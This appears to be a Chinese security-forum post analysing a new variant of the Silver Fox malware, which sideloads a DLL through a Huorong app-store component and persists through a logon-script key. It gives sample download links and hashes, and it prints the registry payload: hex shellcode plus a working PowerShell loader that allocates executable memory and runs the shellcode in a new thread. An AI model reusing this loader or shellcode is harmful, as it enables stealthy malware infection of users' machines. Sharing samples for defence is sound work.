银狐新变种 - InputPersonalization_Ink_PowerShell_Injector (1)

wwwab

今天提取到一个白加黑劫持火绒应用商店组件的样本，反虚拟机。
最终会通过将PowerShell命令存储到注册表HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink中，然后通过通过PowerShell执行进程注入。

在中招的用户那里，白加黑组件和powershell.exe在任务管理器中可以持续运行。在虚拟机里面不行，白加黑组件跑不起来。
火绒卡巴能打开但是都清理不掉，虚拟机跑不出来，PowerShell注册表就是它写的。

在HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon创建启动项: "本地组策略"


下载1: https://pan.huang1111.cn/s/jROvnIy
下载2: https://qfile.qq.com/q/78lxa01hew (14 days)




附录:

释放器:
四方平台-用户端.exe: 0045153422495856d0d913df0e59ad68408836ce1dea82be18841b87c0a1c721
四方平台-用户端.msi: 931035369226328a83688867793b2250361695e5a86d30b72f9f16450611ebb8

白加黑部分:
劫持白文件: 火绒应用商店组件HrAppStoreRiff.exe
libcrypto-3.dll: fc6041572ba62c4c7c27ec6fe016437eb9bd7077d41f4377c9639dbdfcf31698
PeLoader: ea55bce43790c17b7b1c896e50c2d73f49d54d6126c020b4f8e3c92466a849dc

注册表部分:

1. Windows Registry Editor Version 5.00
   
2. 
   
3. [HKEY_CURRENT_USER\Software\Microsoft\InputPersonalization\Ink]
   
4. "CompatData"="558bec83e4f881ec0c020000535657b98d10b7f8e830030000b933885a9e8bf0e824030000b992f1ae4f8bf8e818030000894424608d44246c50c74424705773325fc744247433322e64c74424786c6c0000ffd6b940d5dc2de8eb020000b9e4f20e3b89442414e8dd020000b9c95329dc89442444e8cf020000b9b98356dd89442448e8c1020000b962e10a528944244ce8b3020000b92a0152db89442450e8a5020000b93c01fad889442454e897020000b9bc139d0b8944245ce889020000b9a70b59088944243ce87b0200006a40be003000008944243c56684c0107006a00ffd76a045668440100006a0089442468ffd78bf8897c2410e80503000033c9803c01427520807c0101797519807c0102407512807c010356750b807c01043c0f841f0100004181f9401f000072d133c9518d14018bcfe8aa02000059c74424187a3f9e2b33dbc744241cd156f8c4c74424201e8d42b7c744242465a30ce9c744242801234567c744242c89abcdefc7442430fedcba98c7442434765432100fb6c3b2dc6bc0078bf30fb6cb83e61f2ad08bc3c1f80483e01f325404188bc3c1f80383e01f325404188bc3c1f80283e01f325404180fb6c30fafc80fb6c36bc00d32d1046132d08d43040fb6c06bc01132d08d4424372bc632100fb6c36bc01332d030141f438b7c241081fb440100007c8d8d842488000000506802020000ff54241c85c00f85120100006a066a016a02ff54245083642440008b5c2438894424148d442440506a006a0057ff54245885c075088b74244085f675116888130000ffd3ebdd83c105e9e4feffff8b76188d7c24788b442410a5a5a5a50fb7404050ff5424508b5c24148b742450668944247aeb0968b80b0000ff54243c6a108d44247c5053ffd683f8ff74e86a006a088d44246cc744246c424675635053c74424786b000000ff5424648b5c245833f68b7c24146a00b84c0107002bc6508d041e5057ff54246c85c07e0a03f081fe4c0107007cdf8b542410518d8b08000700e80101000059ff54243cb965a94f5fe8550000006a2033f68d4c244056565353565189742458ffd06affff54243c85db740b68008000005653ff54246c5f5e5b8be55dc353568bf133d2eb120fbecbc1ca0d80fb618d41e00f4cc103d0468a1e84db75e85e8bc25bc3558bec83ec1464a1300000005356578b400c894df48b40148bf88945ec8b77108b3f85f6744f8b463c8b5c307885db74448b4c330c03cee89fffffff8b4c33208945f803ce33c0894df08945fc3944331876228b0c8103cee87effffff0345f83945f4741c8b45fc8b4df0408945fc3b44331872de3b7dec75a333c05f5e5bc9c38b4dfc8b4433248d04480fb70c308b44331c8d04888b043003c6ebdf85c9741885d27414566a512bd15e8b040a89018d490483ee0175f35ec3558bec51e800000000588945fc8b45fcc9c36605000099faffff427940563ca183f13514752cea7954094a18dfdc87a020a29d0111bb31d1d89b350adafe82b8df742f9bbc3f649cebe02bc9ce0d96e6a6641b46963c36de97d4ba5c8c68949c816bb07512d10a0fb87338cd0a89d2cd4dcff0495973f99118db75d484a0dc8a6d469d183f3ce777800b40757231aa6e2eec932afa50daa26b284667b7532f8cabc01b395e1dc63502490260a7a4ffc949cbf46878d2582f2665cbf424007c3c5bf0ab1f38bbe0bdcac10ae8ef2cb74f0fcdb2ef3f959f6920630deb3bdf2373d43fe4e5ea4d915d8b413428ef6c37c040c2fd44547ef44bc201af0e5e7a066d8aa17affd8db0074830843767132a97d3dff8039e943c976bffc92b36387fbe8cfa47f5d3a79a236014a0163a4a7fcbc3cbe811d0da72dcdc4872916c6e29e6304aff44067e4bf47303bf01215d64daaea28570ada707a92db98f610c024d87fd833e8"
   
5. "StrokeData"="try{
   
6. 
   
7. $rp='HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'
   
8. 
   
9. $p=Get-ItemProperty -Path $rp -EA SilentlyContinue
   
10. 
    
11. if(!$p){exit 1}
    
12. 
    
13. $_wk=$env:_SC_VN
    
14. 
    
15. $tb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('A')),'Run').DefineDynamicModule('M').DefineType('W','Public')
    
16. 
    
17. $pi=[Reflection.MethodImplAttributes]::PreserveSig
    
18. 
    
19. $tb.DefinePInvokeMethod('VirtualAlloc','kernel32.dll','Public,Static,PinvokeImpl','Standard',([IntPtr]),@([IntPtr],[UInt32],[UInt32],[UInt32]),'Winapi','Auto').SetImplementationFlags($pi)
    
20. 
    
21. $tb.DefinePInvokeMethod('CreateThread','kernel32.dll','Public,Static,PinvokeImpl','Standard',([IntPtr]),@([IntPtr],[UInt32],[IntPtr],[IntPtr],[UInt32],[IntPtr]),'Winapi','Auto').SetImplementationFlags($pi)
    
22. 
    
23. $tb.DefinePInvokeMethod('WaitForSingleObject','kernel32.dll','Public,Static,PinvokeImpl','Standard',([UInt32]),@([IntPtr],[UInt32]),'Winapi','Auto').SetImplementationFlags($pi)
    
24. 
    
25. $W=$tb.CreateType()
    
26. 
    
27. function X($vn){$hx=$p.$vn;if(!$hx){return [IntPtr]::Zero}$b=New-Object byte[]($hx.Length/2);for($i=0;$i -lt $b.Length;$i++){$b[$i]=[Convert]::ToByte($hx.Substring($i*2,2),16)}$m=$W::VirtualAlloc([IntPtr]::Zero,$b.Length,0x3000,0x40);if($m -eq [IntPtr]::Zero){return [IntPtr]::Zero}[System.Runtime.InteropServices.Marshal]::Copy($b,0,$m,$b.Length);$t=$W::CreateThread([IntPtr]::Zero,0,$m,[IntPtr]::Zero,0,[IntPtr]::Zero);return $t}
    
28. 
    
29. if($_wk){
    
30. 
    
31. Remove-Item env:_SC_VN -EA SilentlyContinue
    
32. 
    
33. $t=X $_wk
    
34. 
    
35. if($t -ne [IntPtr]::Zero){$W::WaitForSingleObject($t,[UInt32]::MaxValue)|Out-Null}
    
36. 
    
37. exit 0}
    
38. 
    
39. $pfx=if([IntPtr]::Size -eq 8){'TrainingData'}else{'CompatData'}
    
40. 
    
41. $alt=if([IntPtr]::Size -eq 8){'CompatData'}else{'TrainingData'}
    
42. 
    
43. $names=@($p.PSObject.Properties|Where-Object{$_.Name -like "$pfx*" -and $_.Value}|Select-Object -ExpandProperty Name)
    
44. 
    
45. if($names.Count -eq 0){
    
46. 
    
47. $altN=@($p.PSObject.Properties|Where-Object{$_.Name -like "$alt*" -and $_.Value}|Select-Object -ExpandProperty Name)
    
48. 
    
49. if($altN.Count -gt 0){
    
50. 
    
51. $ps=if([IntPtr]::Size -eq 8){"$env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"}else{"$env:SystemRoot\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe"}
    
52. 
    
53. $si=New-Object Diagnostics.ProcessStartInfo;$si.FileName=$ps;$si.Arguments='-NoLogo -c "& ([scriptblock]::Create((Get-ItemProperty ''HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'' -EA 0).StrokeData))"';$si.CreateNoWindow=$true;$si.UseShellExecute=$false;$si.WorkingDirectory=$env:SystemRoot
    
54. 
    
55. [Diagnostics.Process]::Start($si)|Out-Null;exit 0}
    
56. 
    
57. exit 1}
    
58. 
    
59. if($names.Count -gt 1){
    
60. 
    
61. $myPs=[Diagnostics.Process]::GetCurrentProcess().MainModule.FileName
    
62. 
    
63. for($n=0;$n -lt $names.Count-1;$n++){
    
64. 
    
65. $env:_SC_VN=$names[$n]
    
66. 
    
67. $si=New-Object Diagnostics.ProcessStartInfo;$si.FileName=$myPs;$si.Arguments='-NoLogo -c "& ([scriptblock]::Create((Get-ItemProperty ''HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'' -EA 0).StrokeData))"';$si.CreateNoWindow=$true;$si.UseShellExecute=$false;$si.WorkingDirectory=$env:SystemRoot
    
68. 
    
69. [Diagnostics.Process]::Start($si)|Out-Null}
    
70. 
    
71. Remove-Item env:_SC_VN -EA SilentlyContinue}
    
72. 
    
73. $t=X $names[-1]
    
74. 
    
75. if($t -ne [IntPtr]::Zero){$W::WaitForSingleObject($t,[UInt32]::MaxValue)|Out-Null}
    
76. 
    
77. }catch{}"
    
78. 
    

复制代码

莒县小哥

每顿需吃三大碗

AVAST扫描杀

asdfnbbj

360扫描3个